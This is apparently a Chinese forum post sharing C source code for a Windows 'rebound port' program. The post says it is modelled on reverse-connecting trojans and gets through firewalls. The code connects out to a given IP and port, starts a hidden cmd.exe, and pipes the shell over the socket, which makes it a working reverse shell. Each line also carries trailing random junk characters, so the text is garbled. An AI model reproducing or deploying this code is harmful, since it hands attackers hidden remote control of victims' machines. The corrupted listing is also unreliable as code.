这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 inGUN??
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Rebound port in Windows NT %/Wk+r9uu
By wind,2006/7 s:tX3X
===============================*/ Z<.&fZ^jS
#include \\dUp>1=
#include `7=$I~`
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#pragma comment(lib,"wsock32.lib") vu+g65"
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void OutputShell(); &gp&i?%X9b
SOCKET sClient; i{6&/TBnr
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VgNB^w
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void main(int argc,char **argv) @ual+=L
{ yu'-'{%
WSADATA stWsaData; 4Im>2)
int nRet; R&Lqaek&W
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) 9-pt}U
{ %aNm j)L
printf("Useage:\n\rRebound DestIP DestPort\n"); <Z%=lwtX
return; ,\6Vb*G|E>
} 712nD ?>
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WSAStartup(MAKEWORD(2,2),&stWsaData); I}_}VSG(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {mJ'
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stSaiClient.sin_family = AF_INET; qofAA!3z
stSaiClient.sin_port = htons(0); Z5vdH5?!r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F}}!e.>c
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =de'Yy:\-
{ 8ao-]QoMZ
printf("Bind Socket Failed!\n"); XkA] 9,@
return; r?/Uu
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} { U;yW)
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stSaiServer.sin_family = AF_INET; hS,&Nj+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xF[%R{Mn'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8s)b[Z5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u#Ig!7iUu
{ zr|DC] 3
printf("Connect Error!"); I>;{BYPV
return; yJI~{VmU7
} 3=d%WPgQ
OutputShell(); +4:eb)e
} e#*3X4<\K
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void OutputShell() _f^6F<!
{ lEHx/#qt9
char szBuff[1024]; iAz0 A
SECURITY_ATTRIBUTES stSecurityAttributes; fmixWL7.Zg
OSVERSIONINFO stOsversionInfo; jfMkN
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qx ki
STARTUPINFO stStartupInfo; Cx2#
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char *szShell; tczJk1g}
PROCESS_INFORMATION stProcessInformation; <iky~iE
unsigned long lBytesRead; /wLBmh1"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %D4)Bqr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;z4J)qw
stSecurityAttributes.lpSecurityDescriptor = 0; 8'*x88+
stSecurityAttributes.bInheritHandle = TRUE; z,aMbgt
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gML8lu0)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gxl7jY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &x1A{j_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c -k3<|H`
stStartupInfo.wShowWindow = SW_HIDE; P*6m~`"5
stStartupInfo.hStdInput = hReadPipe; !.'D"Me>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xqX3uq
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GetVersionEx(&stOsversionInfo); 'V?FeWp
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switch(stOsversionInfo.dwPlatformId) 9295:Y| w1
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case 1: 6bPxEILm
szShell = "command.com"; UDJjw
break; S($/Ov
default: g[(@@TiG
szShell = "cmd.exe"; .aT@'a{F
break; K;6#v%
} qTJ0}F
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "%Ok3Rvv
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send(sClient,szMsg,77,0); m8L *LB
while(1) KM;H '~PZi
{ ,1{qZ(l1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a]r+np]vTy
if(lBytesRead) t)&U'^
{ 3Z";a
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?+Gt?-! 5q
send(sClient,szBuff,lBytesRead,0); &b|RoPV
} vQ}ZfP
else x#`p.sfVo
{ :xr^E]
lBytesRead=recv(sClient,szBuff,1024,0); 7GO9z<m)
if(lBytesRead<=0) break; _|u}^MLO
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AJ}FHym_ZQ
} v/ N[)<
} Ro]Z9C>1o
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return; +g
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}